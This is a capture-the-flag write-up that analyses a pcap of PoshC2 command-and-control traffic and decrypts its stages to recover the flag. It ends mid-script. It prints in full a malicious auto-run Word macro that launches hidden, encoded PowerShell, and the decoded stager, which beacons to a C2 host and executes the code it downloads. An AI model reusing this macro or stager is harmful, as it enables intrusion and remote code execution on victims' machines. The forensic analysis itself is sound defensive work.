Initial Analysis

@anonymans and I (@rootk1d) tackled this challenge together.

We were given a pcapng file for this challenge, and the goal was to find out what happened during the intrusion. We have also got the SSL keys to decrypt the TLS 1.3 traffic.

So, first thing let's import the SSL keys into Wireshark to decrypt the SSL traffic

Edit -> Preferences -> Protocols -> TLS

TLS Decryption

Now, we can proceed with our analysis. Let's filter for HTTP traffic and see what we have.

We have two interesting observations:

  • odd traffic to a bunch of URLs with weird responses
  • A file named Salaries.7z being downloaded

So, doing a quick google search with those URLs led us to this blog post, which tells us that what we have here in this network traffic is a PoshC2 encrypted communication.

PoshC2 is a proxy aware C2 framework used for red teaming, post-exploitation and lateral movement.

And we see that most of the URLs are flagged as IOCs for this framework.

Digging a little more we found this blog post, which describe in detail how Poshc2 works.

So, it seems the framework has multiple stages so it can setup the encrypted communication before starting to send commands and receive the output.

STAGE 0

The victim sends a GET request to the server, and the server responds with a base64-encoded payload. When decoded, we should observe a powershell script that contains information about the used encryption and the encryption key.

However, we digged through the pcap and found a couple of requests with a base64-encoded payload, but it was encrypted, and that means those requests were most probably for later stages, while we needed the initial stage.

So, we decided to focus on our 2nd intersting observation we mentioned earlier Salaries.7z file and see what it have for us. So, we exported the file and it was password encrypted.

So, let's go back to the pcap to find the password.

One thing I do when looking at pcap files is sort the traffic by protocol and start looking for odd traffic through the different protocols. DNS was our lucky winner this time \o/

We have here DNS requests to very odd domains, so we reassembled this string by combining the domain names based on the number before each one, and this was the result

K5SSA2DBOZSSAZLOMNZHS4DUMVSCAYLMNQQHI2DFEBTGS3DFOMQG63RAPFXXK4RAON4XG5DFNUXCAUDMMVQXGZJAOJSWCY3IEBXXK5BAORXSA5LTEB3GSYJAMVWWC2LMEBQXA5BLGE2DINRSGA4TKLLBGIZTQLJUGZSGKLJZGIYGELJYG5SDAMBRGE2DIMDDGVAG653OMVSC4Y3PNU

We put this on CyberChef and tried different encodings, and it turned out this was a base32 encoded string, and this is the decoded string.

We have encrypted all the files on your system. Please reach out to us via email apt+14462095-a238-46de-920b-87d0011440c5@owned.com

And BINGO! The password for the Salariez.7z file was 14462095-a238-46de-920b-87d0011440c5. When we decompressed the file, it dropped a word document that immediately was flagged as malicious, so this was a weaponized document that has a macro, so let's extract it.

olevba Salaries.docm

Output:

olevba 0.60.1 on Python 3.6.9 - http://decalage.info/python/oletools
===============================================================================
FILE: Salaries.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Auto_Open()
UpdateMacro
End Sub

Sub AutoOpen()
UpdateMacro
End Sub

Sub Workbook_Open()
UpdateMacro
End Sub

Sub WorkbookOpen()
UpdateMacro
End Sub

Sub Document_Open()
UpdateMacro
End Sub

Sub DocumentOpen()
UpdateMacro
End Sub

Sub UpdateMacro()
Dim str, exec

str = "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AH"
str = str + "IAZQBhAG0AUgBlAGEAZABlAHIAKAAoAE4AZQB3AC0ATwBiAG"
str = str + "oAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAH"
str = str + "AAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG"
str = str + "0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF"
str = str + "0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAH"
str = str + "MAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgANABzAEkAQQBQAE"
str = str + "oANgBGAEcATQBDAC8ANQAxAFgAVwAzAFAAYQBSAGgAUgArAD"
str = str + "EANgAvAFkAYQB2AFMAQQBFAGkAUQBEAGoAaAAzAGIARABEAE"
str = str + "8AMQBaAFYAegBUAHgASgBjAEIANwBNADYAVQA4AFgAUQBXAD"
str = str + "YAVwBBADIARgBwAEsAeQB1AHcAbwBtAGwAUAAvAGUAYwAzAG"
str = str + "IARgBKAFUANQB6AGEAWABtAEIAUABiAHYAbgA5AHAAMAByAG"
str = str + "8AOABGAEMAYQBaAGkARgAxADYARABEAEEAYwBoAFAASQBvAG"
str = str + "IAYgBYAEcAVAA2AGkAbQBmADgARQBlAFQARAB5AFEAbABSAF"
str = str + "EAVQBZAGcAdABaAGkASQBtAEcAdQA0ADUANgBsAEkAdQBCAF"
str = str + "oANQBGAHYARQAwAEgAZgBQADQAaQBYAFgAWQAwAHQATwB5AG"
str = str + "gASgBYAGoASgBaAFAATwByAHoAWABYADkAUgAxAHYAMgBuAE"
str = str + "YAZAB4ADEATwB4ACsAUwBwAGwAcQB1AGgAaQBxAG4AVgB4AH"
str = str + "MAcgBmAFgAUABHADYARgB6AGMATwBqADgARwAwAHoAYgBPAD"
str = str + "QAMwA2AEgAVwBNAEwAegByAHUAWABpAHoAVQBHAEwASwA5AE"
str = str + "cAWgBkAFAAbwBEAC8AdQBrAFkAQwBPAFkAUgA0ADEASABwAH"
str = str + "gASgBtAGMAVwBrAGwAMABXAG4AVgA2AHoAbQBQAGMARwBpAD"
str = str + "cAdgBYAHUALwBhAFcAagA1AFEASQB0ADQARwBqAEgATgBjAH"
str = str + "kARABtAC8ARQBIAGkARABWAHoASwA5AGMARwBnAEwASwBGAF"
str = str + "gAbwBTAFIAWABCAFEANgBmADUAUwA4AG0AQwA3AEMAdgB2AG"
str = str + "kAUQBKAFIAeABTADYAMgBqAGkATwBpAHUARwB6AHMAWABUAC"
str = str + "8AeQByAG4ARgBKAFEAOQByADkARwBUACsAUwBlAFIAZwBIAF"
str = str + "EAUgBDAHgANQBlADUAUQBtAGcAdABOAEYAMwBSAFUAUwBpAG"
str = str + "0ASQBLAGsAcAB3AGgAMwBkAEIAWQBSADQAeQAxAFAARQBwAE"
str = str + "UAOQAvAHAAQwAzAGUAbABjAHgALwB3AGsAeQBWADgAUgArAG"
str = str + "wAdQBiAHgAMAAwAEIAOABKAHUAWABOADEAaABHAFIAMwBzAE"
str = str + "cAaQBJAHIAUQBPAEQAaAAwAHgAUQBRAEEAUgBPADIAZQA1AC"
str = str + "8AaABrACsAZwBoADQAdQBDAHEAagA1ADQAVABXAGYAQQBRAH"
str = str + "YAZwBJADcAcQB1AEoAVQByAEgAKwBDAEEAcQBZAGUAOQArAH"
str = str + "gANQB3AG8AegB6AEEAdABOAEMAcQA5AGsAUABuAHMAagBDAH"
str = str + "MANABmAEcATgBmAEcANwBrAHIAQgAxAEkARgBXAHoAYQBrAH"
str = str + "IAWgB5AFYAMQBZAFYAeAAyACsAagBGADMAegA5AFcAagBLAG"
str = str + "IALwBwAEcAWQBTAHYAYQBQAGEATQBoAEsAVgBsAEgAdAA4AH"
str = str + "QAVQAyAGgANwBuAFcAMABUAHEARQB5AHcAeABUAHkAeABqAH"
str = str + "MAcQBoAHYAQwBzAHcAMgA0AFcANQA0AFEAdABLAHIAbwBiAF"
str = str + "gAaAB5AEYAdgA0AEUAKwBXADIAaABRAE4AVwBKAHcAVABKAF"
str = str + "oAUQBIAHAASQBNAHgAeQBOAGMAVQBXAEUAawBBAFMAcwBFAE"
str = str + "8AVQAyAE0AWgBBADMAZgBUAGUAZwBHAHcAcQBIAGsAbQBaAH"
str = str + "IAawBjAG4AWQBoAE0AcAA2AGEAKwBOAFMAOABjAFoAMAAxAD"
str = str + "YAcwB3AGIAaAArADgAaABlADkAUgBUADMAeABtAE4AVQBjAF"
str = str + "AAbwA0AFkARgA1AGgAUgBXAEkANABMADEAbQAzAHMAVAA1AD"
str = str + "IAdgBsAGgALwBxAFgAcgBoAGUALwBzAHUASABmAGUAMwBiAG"
str = str + "cASABXAGYAegBTAHYAKwA5AEIAUwBNADgAZAB6AHcAWgB0AF"
str = str + "AARwBxAEUAWQBmAFAAZwA0AFUAdAB2AEsAWgBoAFkANgBMAH"
str = str + "MAZQBuADgATwBPAHgAeQBYAGQASgBOAC8AMAB1AEgAbQA0AD"
str = str + "QAegBJAEwAOABPAHcANwBQAHcASwArAE0AdQA0AG4ANwBQAD"
str = str + "kASgBTAFYANwBwAG8ANABGAGkAVgBoAHYARgBVAHkANABmAE"
str = str + "cAcgA3AHYANwA2AEMASAA3ADQASQAvAFkAQgB5AG4AQQBqAE"
str = str + "sATgBPAEUAWgA1AC8AaQBUAEEAWgAwAHYAcgBkAG8AMwB1AH"
str = str + "oAOQBGAHQARgBsAHkAZwBmAHgAeAA3AHgAQQBJAC8AdwBkAF"
str = str + "YAVgBrAEMAUwB1ADMANwBhAHYAUgB0AGcAawBRAFkAcwBaAE"
str = str + "YAZQBZAHQAbAB3AHEANgB6AHoAegBXAE4AUwArAHAANwA3AD"
str = str + "YAdQBlADEAbQBaAHAAcwBUAHoAOQBHADAAZQB0ADMAVgA4AG"
str = str + "YAQgB3ADAAVwAwAEcAagA2AGYANAA3AHQAeQAwAG0ARgBxAF"
str = str + "EAYQBvAFUAZABEADQAVgBsAG8AegBQAGgAUwBnAGMAeQBvAH"
str = str + "EARABxAE0AdQBuAEQAQgBsAFoAcgBuAE0AbABrAGYAWgBmAD"
str = str + "YAOAB3AE8AWgBhAEgAZQBmAHgAbAA0ADEAdgBaAHoAUQBnAE"
str = str + "cASgBFAEIAbwArADEAWQBWAFIAZwA0AG4AaQBXAHMAaABuAG"
str = str + "0AbgBNAEIAUQBLAFUAZABOADgAbgBFAEkAWQB2AGUALwBmAD"
str = str + "IAMwBOADQAeABUAC8AawBrAGcAVwBQAG0AcgBVAFEAWABtAH"
str = str + "kAcwA4AHoAaQA4AEIASQA3AE4AVQBZAFcAbgBTAFYASgB6AE"
str = str + "wAMwBPAGwAMABZAFYAcABWAGIASgBpAGcAbgBMADkASgBZAD"
str = str + "QATQBLAFEAcAA5AG8AagBwAG0AVwBpAGcAYwBGAHgANQBkAG"
str = str + "YARABVAGIAMgBwAHUAWAA4AFkAdQBuADEASAB4AGYASwByAH"
str = str + "QARABLAEkATABUAFIALwBRAEIASQBiAHoASwBQADQAcwAwAD"
str = str + "UAWABzAEgAWQBZAFAAVgAvAGgAQgBaAGsAcwA4AFYAdQB4AD"
str = str + "YAeQBaAGkATgBzAHQAQgBrAFMARAB0ACsAMAAyAGYAUABoAE"
str = str + "cANQArAGQARgBrAFUASwA2AFAANAA3AG8AZgBjAE8AOQB0AC"
str = str + "sARwArADQAZQBzADkAdQA1AHkAZQBQAFcAKwB6AGwATAB4AE"
str = str + "IASgBnAHEAOABWAFAAdQBzADIAaQBLAGkAUQBoADcAUgA4AG"
str = str + "cAZgA3AGgAOABmAHYAUQAyAGIAcgBSAFkAYgA4AEEAbQBYAG"
str = str + "8AbQBLAGoASQBmAGYAUwBwAGoANQBNAFEATwBLAHMAcQBOAF"
str = str + "AAQQBOAEwAaQB1AFEAMgBKAHkAYgBWADUAOABMAHkAQwAzAD"
str = str + "kASABUAEwAVQBUAGMAVABlAEoAMABLAG0AOABDAGIATQBHAD"
str = str + "AAQwBiADgAVABlAEQAZwBaAFUAegBiAGEARwBoAG4AbABnAE"
str = str + "oAZwB2AFkAdwB0AGcAKwBaAGMARwBwAHUAawAyADUAeQBLAG"
str = str + "kAUwBUAEsATABIAGcARgBtAEsAegBUAHEAVwBrAEMAaQBVAG"
str = str + "sASwBGAGwAdQBiAFYATQBXAGMAdABtAFoAcABqAE8ARQBPAE"
str = str + "8AUQBsAHoAcQBmAG0AUwAwAGgAdgBCADEAZwBrADAAaQBRAE"
str = str + "sASABqAEsATgBwAGIAVgB5AFkANAAyAE8AUgBsAHUAcgAwAG"
str = str + "4AcwBSAGsAVQBiAFoAegBMAGwAQgBWAHMAeQBRAGcANABEAG"
str = str + "UAQQA0AFQAWABxAGIANgB4AFgAdgB5AHUAOAAxAHMAeQBBAD"
str = str + "AAbwBSAEoAdwBYAFMASwByAFkAbgBSACsAegBiADUAbABmAF"
str = str + "cAbwBQADAASABRAHIAWgBaAEEAQwBPADEAeQAyAEIAdgBZAH"
str = str + "oAcQBhAEMAZABNAGwANQBpAFYAZgBmAGgAWQBnAHQATAAyAE"
str = str + "MAVQAxADQAdwAxAG4ASABHAFEAZQBLADYAcQBSADMAMwBxAG"
str = str + "sAYQBqAE8AdABiAEwAMwBZADYAVQBZAEUAOQBDAHYARwBxAG"
str = str + "UAUwBiAEMAdQBBAEQAVQBjAGMATQB5AFUAZAB4AFUAQwBWAD"
str = str + "IAOQBwAGkAdABuAHAAeAA2AEkAdQBEAGwAUABPADgAaABFAE"
str = str + "sAOQBhAC8AcgBSAE8AMwBHAFAAWgBZAEYARAB3AE4AcQB6AH"
str = str + "IAbwBHAFYALwAxAEEAawAzAEYAUABoAGUAVgBVAHUASwBaAC"
str = str + "sAdgBvADMAMAB2AEgAYgBrAGoAWQBFAGgASwB1AGsAawBmAG"
str = str + "4ANABVAHcAYQBjAGwAUwBMAFYAdgBhAHkAZgBwADkAUQBHAF"
str = str + "QANQBPAFoAeQBJAFQAUwBrAHUATgA0AE0AVAAwAHIAcgBqAH"
str = str + "EAYQBhAGMATQBZAHMAeABoAHgAWgBJAEcAZwBOAEIAZQBKAE"
str = str + "gAMQBZAFUAMgBpAFYAcwBMAFcAQwBHADkAWgBTAFYAVgAwAE"
str = str + "0AYgBmAEcAdwB4AGcATAB2AG0ASwAzAGQARgA2AFcARQBQAD"
str = str + "IARABGAHcAaQBWAHgANgBaAGMAZgBZAEcAcABLAEsAMQAzAG"
str = str + "gAVABiAFkAVgBMAEkAdwBpAHkAVAB5AGYAYgB3AHEASQAxAH"
str = str + "gAYgBQAEUATwBKADgAVgBwAGIAWQBYAHYAdQBmADYAeQAwAH"
str = str + "AAeQAyAGYAbQBDAFoANABYAFIAegBUAHYAdQBoAHAAWgBnAG"
str = str + "gAWQBpAHMANwBaAFgAdAByADYAUgBZAHkAbQAzAC8ASgB1AG"
str = str + "8ATwBCAGoAZgA5AHYAMAA3ADcAMABXAFYAdgAyAEkAMgBHAG"
str = str + "QALwAxAHUAbQAvAHgAcwBiADUAQgBvAHQAOQB4AHEAQQBTAD"
str = str + "YASwBEAGsANQB2AEYAdABDAE0ALwBnAGoAagBSAG4ARQAvAG"
str = str + "4ARQB6AHYAeQB1AFAAawA5ADAAbABjAC8AQgBiADMANwB5AF"
str = str + "oAdwBGAEYAMQBmAEgASAB4AHUALwB0ADYAOQBIAEUANQBWAF"
str = str + "QAOAB5AGYANABmAFYAZABoAHcAVgBsAHgAcgB4ADgAdQB3AE"
str = str + "cAagBJAEwAZgBiADcAOQAvADAAcQBaAEYAVwBLAGIAZwBHAG"
str = str + "YARABzAFgAQQA1AHUAMQBDAEgAdgBoAGgAeABpADQATABNAD"
str = str + "EANQBvAHEAcgA1AHUAawA1AEYARABEAHUAbABUAFEATAAvAH"
str = str + "kAeQA1AHkAWgAyADEAQQAxAFMAQgB4AHgAbABIAGYAZABWAC"
str = str + "sAaAB0AEYAYwB1AGoAWgBYAGkAYgB5AGIAZwBlAGUAVgA4AF"
str = str + "YAVABhAEsAMABaAFoAWgArADIAVgBrAGoAYwBKAGsANgBxAG"
str = str + "wAcgBuAEoAYwAzAHMAagBzAHIAOQBJAEwAKwBwAHQAagArAC"
str = str + "sATQB1AG8AbQAzADAAUwBNAHMAKwBvAGQAZABHAHkAZwBNAE"
str = str + "UANQBOADgARwBoAEwASwBKADEAUQArAE4AdgBSAFEAeQAwAH"
str = str + "UAVABMADgAUwBOAEMAbAB6AE4AcQBrAE4ATQBjAFYASwBKAD"
str = str + "YAYQBFAG0AVQBDAGcAYQBTAC8ASwA3AFIAeABZAFQAYgBEAE"
str = str + "0AMgBVADgAbAA1AEoAVABPAGYAVwBJAGMARABNAHgATAAxAF"
str = str + "gAZABQAFAAUgB0ADYATgBZAFkARwB4AG4AbQB2AHgAQwBPAD"
str = str + "gAYwBuAEkAaQBuAGoAWQBCAEcAYQBPAEIAUQBOAEIAWABtAH"
str = str + "IATQBFADEAdwBxAHAAYwB3AGwALwBpADkAYQBVAFYANgBsAF"
str = str + "kAaQBaADAAWgA3ADkAQgBEAHQAdABKAFkATwAzADAANQBsAH"
str = str + "gAbwBOAE8ASwB3AFkAWQA3AHoAcQBhAEEAcQBvAEEAZgBWAG"
str = str + "EARABDAE0AWgBrAG8AMwBLAGgAYgBEAFoAcwBtAGQAegBYAD"
str = str + "IAegB2AGIAbQByAHcATgAyAGMAQgA1AHAATABIAFEAeABTAG"
str = str + "cATQBLAHEAMgAwAHEAcABsAE4AdgB2AFYANgB4AGwAaABWAE"
str = str + "MAbwA3AEkANwB1ADcATQBwAGIATwBmADgAQQArAC8ASwBxAE"
str = str + "MASQA0AE8AQQBBAEEAPQAnACkALABbAEkATwAuAEMAbwBtAH"
str = str + "AAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG"
str = str + "8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAH"
str = str + "MAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF"
str = str + "0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG"
str = str + "4AZAAoACkA"

exec = "p"
exec = exec + "o"
exec = exec + "w"
exec = exec + "e"
exec = exec + "r"
exec = exec + "s"
exec = exec + "h"
exec = exec + "e"
exec = exec + "l"
exec = exec + "l"
exec = exec + "."
exec = exec + "e"
exec = exec + "x"
exec = exec + "e"
exec = exec + " -exec bypass -Noninteractive -windowstyle hidden -e " & str

Shell (exec)
End Sub

And it looks like this is our stage 0 we were looking for; let's decode this and look at the output.

IEX(New-Object IOStreamReader((New-Object SystemIOCompressionGzipStream([IOMemoryStream][Convert]::FromBase64String('H4sIAPJ6FGMC/51XW3PaRhR+16/YavSAEiQDjh3bDDO1ZVzTxJcB7M6U8XQW6WA2FpKyuwomlP/ec3bFJU5zaXmBPbvn9p0ro8FCaZiF16DDAchPIobbXGT6imf8EeTDyQlRQUYgtZiImGu456lIuBZ5FvE0HfP4iXXY0tOyhJXjJZPOrzXX9R1v2nFdx1Ox+SplquhiqnVxsrfXPG6FzcOj8G0zbO436HWMLzruXizUGLK9GZdPoD/ukYCOYR41HpxJmcWkl0WnV6zmPcGi7vXu/aWj5QIt4GjHNcyDm/EHiDVzK9cGgLKFXoSRXBQ6f5S8mC7CvviQJRxS62jiOiuGzsXT/yrnFJQ9r9GT+SeRgHQRCx5e5QmgtNF3RUSimIKkpwh3dBYR4y1PEpE9/pC3elcx/wkyV8R+lubx00B8JuXN1hGR3sGiIrQODh0xQQARO2e5/hk+gh4uCqj54TWfAQvgI7quJUrH+CAqYe9+x5wozzAtNCq9kPnsjCs4fGNfG7krB1IFWzakrZyV1YVx2+jF3z9WjKb/pGYSvaPaMhKVlHt8tU2h7nW0TqEywxTyxjsqhvCsw24W54QtKrobXhyFv4E+W2hQNWJwTJZQHpIMxyNcUWEkASsEOU2MZA3fTegGwqHkmZrkcnYhMp6a+NS8cZ016swbh+8he9RT3xmNUcPo4YF5hRWI4L1m3sT52vlh/qXrhe/suHfe3bgHWfzSv+9BSM8dzwZtPGqEYfPg4UtvKZhY6Lsen8OOxyXdJN/0uHm44zIL8Ow7PwK+Mu4n7P9JSV7po4FiVhvFUy4fGr7v76CH74I/YBynAjKNOEZ5/iTAZ0vrdo3uz9FtFlygfxx7xAI/wdVVkCSu37avRtgkQYsZFeYtlwq6zzzWNS+p776ue1mZpsTz9G0et3V8fBw0W0Gj6f47ty0mFqQaoUdD4VlozPhSgcyoqDqMunDBlZrnMlkfZf68wOZaHefxl41vZzQgGJEBo+1YVRg4niWshnmnMBQKUdN8nEIYve/f23N4xT/kkgWPmrUQXmys8zi8BI7NUYWnSVJzL3Ol0YVpVbJignL9JY4MKQp9ojpmWigcFx5dfDUb2puX8Yun1HxfKrtDKILTR/QBIbzKP4s05XsHYYPV/hBZks8Vux6yZiNstBkSDt+02fPhG5+dFkUK6P47ofcO9t+G+4es9u5yePW+zlLxBJgq8VPus2iKiQh7R8gf7h8fvQ2brRYb8AmXomKjIffSpj5MQOKsqNPANLiuQ2JybV58LyC39HTLUTcTeJ0Km8CbMG0Cb8TeDgZUzbaGhnlgJgvYwtg+ZcGpuk25yKiSTKLHgFmKzTqWkCiUkKFlubVMWctmZpjOEOOQlzqfmS0hvB1gk0iQKHjKNpbVyY42ORlur0nsRkUbZzLlBVsyQg4DeA4TXqb6xXvyu81syA0oRJwXSKrYnR+zb5lfWoP0HQrZZACO1y2BvYzqaCdMl5iVffhYgtL2CU14w1nHGQeK6qR33qkajOtbL3Y6UYE9CvGqeSbCuADUccMyUdxUCV29pitnpx6IuDlPO8hEK9a/rRO3GPZYFDwNqzroGV/1Ak3FPheVUuKZ+vo30vHbkjYEhKukkfn4UwaclSLVvayfp9QGT5OZyITSkuN4MT0rrjqaacMYsxhxZIGgNBeJH1YU2iVsLWCG9ZSVV0MbfGwxgLvmK3dF6WEP2DFwiVx6ZcfYGpKK13hTbYVLIwiyTyfbwqI1xbPEOJ8VpbYXvuf6y0py2fmCZ4XRzTvuhpZghYis7ZXtr6RYym3/JuoOBjf9v0770WVv2I2Gd/1um/xsb5Bot9xqAS6KDk5vFtCM/gjjRnE/nEzvyuPk90lc/Bb37yZwFF1fHHxu/t69HE5VT8yf4fVdhwVlxrx8uwGjILfb79/0qZFWKbgGfDsXA5u1CHvhhxi4LM15oqr5uk5FDDulTQL/yy5yZ21A1SBxxlHfdV+htFcujZXibybgeeV8VTaK0ZZZ+2VkjcJk6qlrnJc3sjsr9IL+ptj++Muom30SMs+oddGygME5N8GhLKJ1Q+NvRQy0uTL8SNClzNqkNMcVKJ6aEmUCgaS/K7RxYTbDM2U8l5JTOfWIcDMxL1XdPPRt6NYYGxnmvxCO8cnIinjYBGaOBQNBXmrME1wqpcwl/i9aUV6lYiZ0Z79BDttJYO305lxoNOKwYY7zqaAqoAfVaDCMZko3KhbDZsmdzX2zvbmrwN2cB5pLHQxSgMKq20qplNvvV6xlhVCo7I7u7MpbOf8A+/KqCI4OAAA='),[IOCompressionCompressionMode]::Decompress)),[TextEncoding]::ASCII)).ReadToEnd()

Deocde again.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$df=@("")
$h=""
$sc=""
$urls=@("http://192.168.71.130")
$curl="/cisben/marketq/"
$s=$urls[0]
function CAM ($key,$IV){
try {$a = New-Object "System.Security.Cryptography.RijndaelManaged"
} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"}
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC
$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$a.BlockSize = 128
$a.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq "String")
{$a.IV = [System.Convert]::FromBase64String($IV)}
else
{$a.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq "String")
{$a.Key = [System.Convert]::FromBase64String($key)}
else
{$a.Key = $key}
}
$a}
function ENC ($key,$un){
$b = [System.Text.Encoding]::UTF8.GetBytes($un)
$a = CAM $key
$e = $a.CreateEncryptor()
$f = $e.TransformFinalBlock($b, 0, $b.Length)
[byte[]] $p = $a.IV + $f
[System.Convert]::ToBase64String($p)
}
function DEC ($key,$enc){
$b = [System.Convert]::FromBase64String($enc)
$IV = $b[0..15]
$a = CAM $key $IV
$d = $a.CreateDecryptor()
$u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($u).Trim([char]0)))}
function Get-Webclient ($Cookie) {
$d = (Get-Date -Format "yyyy-MM-dd");
$d = [datetime]::ParseExact($d,"yyyy-MM-dd",$null);
$k = [datetime]::ParseExact("2999-12-01","yyyy-MM-dd",$null);
if ($k -lt $d) {exit}
$username = ""
$password = ""
$proxyurl = ""
$wc = New-Object System.Net.WebClient;

if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)}
elseif($h){$script:s="https://$($h)/cisben/marketq/";$script:sc="https://$($h)"}
$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36")
$wc.Headers.Add("Referer","")
if ($proxyurl) {
$wp = New-Object System.Net.WebProxy($proxyurl,$true);
if ($username -and $password) {
$PSS = ConvertTo-SecureString $password -AsPlainText -Force;
$getcreds = new-object system.management.automation.PSCredential $username,$PSS;
$wp.Credentials = $getcreds;
} else { $wc.UseDefaultCredentials = $true; }
$wc.Proxy = $wp; } else {
$wc.UseDefaultCredentials = $true;
$wc.Proxy.Credentials = $wc.Credentials;
} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
$wc}
function primern($url,$uri,$df) {
$script:s=$url+$uri
$script:sc=$url
$script:h=$df
$cu = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$wp = New-Object System.Security.Principal.WindowsPrincipal($cu)
$ag = [System.Security.Principal.WindowsBuiltInRole]::Administrator
$procname = (Get-Process -id $pid).ProcessName
if ($wp.IsInRole($ag)){$el="*"}else{$el=""}
try{$u=($cu).name+$el} catch{if ($env:username -eq "$($env:computername)$"){}else{$u=$env:username}}
$o="$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;$procname;2"
try {$pp=enc -key qeb0pVTfhUu9dJfcpGcRUfe8CNF5z1JEHThsIiwxe+U= -un $o} catch {$pp="ERROR"}
$primern = (Get-Webclient -Cookie $pp).downloadstring($script:s)
$p = dec -key qeb0pVTfhUu9dJfcpGcRUfe8CNF5z1JEHThsIiwxe+U= -enc $primern
if ($p -like "*key*") {$p| iex}
}
function primers {
if(![string]::IsNullOrEmpty("") -and ![Environment]::UserDomainName.Contains(""))
{
    return;
}
foreach($url in $urls){
$index = [array]::IndexOf($urls, $url)
try {primern $url $curl $df[$index]} catch {write-output $error[0]}}}
$limit=30
if($true){
    $wait = 60
    while($true -and $limit -gt 0){
        $limit = $limit -1;
        primers
        Start-Sleep $wait
        $wait = $wait * 2;
    }
}
else
{
    primers
}

After decoding Stage-0 now we have some usefuel information:

  • Base64 encoded 32 byte key qeb0pVTfhUu9dJfcpGcRUfe8CNF5z1JEHThsIiwxe+U=
  • Encryption Type AES+CBC
  • Next stage starts by a request to http://192.168.71.130/cisben/marketq/

STAGE 1

For the next pair of request and responses, the GET request from the victim has an encrypted and encoded cookie.

Since from the previous script we know the encryption technique to be followed is AES encryption. When we base64 decode and AES decrypt the cookie with the key exchanged earlier, we can examine the data.

Using this simple script we can decrypt the data

from Crypto.Cipher import AES
import base64

def decrypt(enc):
    private_key = base64.b64decode('qeb0pVTfhUu9dJfcpGcRUfe8CNF5z1JEHThsIiwxe+U=')
    iv = base64.b64decode(enc)[0:16]
    enc=base64.b64decode(enc)[16:]
    rev_obj = AES.new(private_key, AES.MODE_CBC, iv)
    dec = rev_obj.decrypt(enc)
    print(dec.decode('utf-8'))

decrypt('I5tpt9kQNlXirVZA4PlavUuSd8Y3yDkcxI8hPA3Zo14cyjJHa7On0FSZ7hExbXB02AGIhP9LA/VQ254vL0Bd6o2HQ6FTbcX9s+haimsmUO4=')

Output:

WS-OILRIG;WS-OILRIG\operator;WS-OILRIG;AMD64;8020;powershell;2

So, the cookie is formed of various info about the victim machine

  • Hostname - WS-OILRIG
  • Username - operator
  • OS Architecture - AMD64
  • Process ID - 8020

The server replies with a 35KB response, which is first base64 encoded then encrypted with the same technique and key and again base64 encoded.

When we decode and decrypt it, we can see it is has some more additional information embedded.

  • Second key - A5/Olxk4uOTnbExXXd3pcffBJPFczxImUZPZIgLfsa8= , used for further communication.
  • Delay - 5 secs
  • Kill date - 2999-12-01
  • Victim identifier - SA56xyO0cdZgiaY, a 15-length alphanumeric string assigned to the victim.
  • URLs - List of URLs used during the communication

STAGE 2

In the 3rd request response, the victim sends GET request with the URI having the identifier assigned earlier (SA56xyO0cdZgiaY). The server then responds with a ~70KB payload of the staging phase. This can also be decrypted with the same technique but with the second key which was exchanged in the previous exchange.

On decoding and decrypting, we can see that this large payload contains the logic for executing all the commands, tasks, and modules that will be commanded by the server. Instead of sending the command and task related scripts at the time of issuing a new task, POSHC2 has them preloaded on the victim.

Beaconing

After staging gets over, the victim starts sending out beacons to the server. In case the server doesn’t have any tasks for the victim, the server sends a default response to the beacon. There are a few default replies among which server sends back one randomly.

If the server does have some tasks, it issues them to the victim to execute. The victim executes them and returns the results.

Get The Flag

So, when the server has tasks for the victim, the victim sends a beacon to the server, and the server sends the encrypted command payload.

We started to decrypt requests with encrypted payloads sent to the server until we stumbled upon this one.

When decrypting this payload we get the following output.

multicmd00041cat flag.txt

BINGO! That's the command to read the flag. What's left for us now is to get the output of this command.

After executing the command the victim sends the output via POST request, and the server sends a default reply.

The payload of the POST request which contains the task output is a bit complex to decrypt.

Basically, those are the steps:

  • The plain text output is first Gzip compressed
  • The compressed text is then encrypted with the AES encryption with the second key
  • Then this encrypted payload is appended with one of the 5 static images (padded to make it an image of 1500 bytes) chosen randomly and then the payload is sent out.

So, by extracting the RAW data from the request body and decrypting it, we get the flag.

from Crypto.Cipher import AES
import base64
import gzip

def get_flag():
    private_key = base64.b64decode('A5/Olxk4uOTnbExXXd3pcffBJPFczxImUZPZIgLfsa8=')
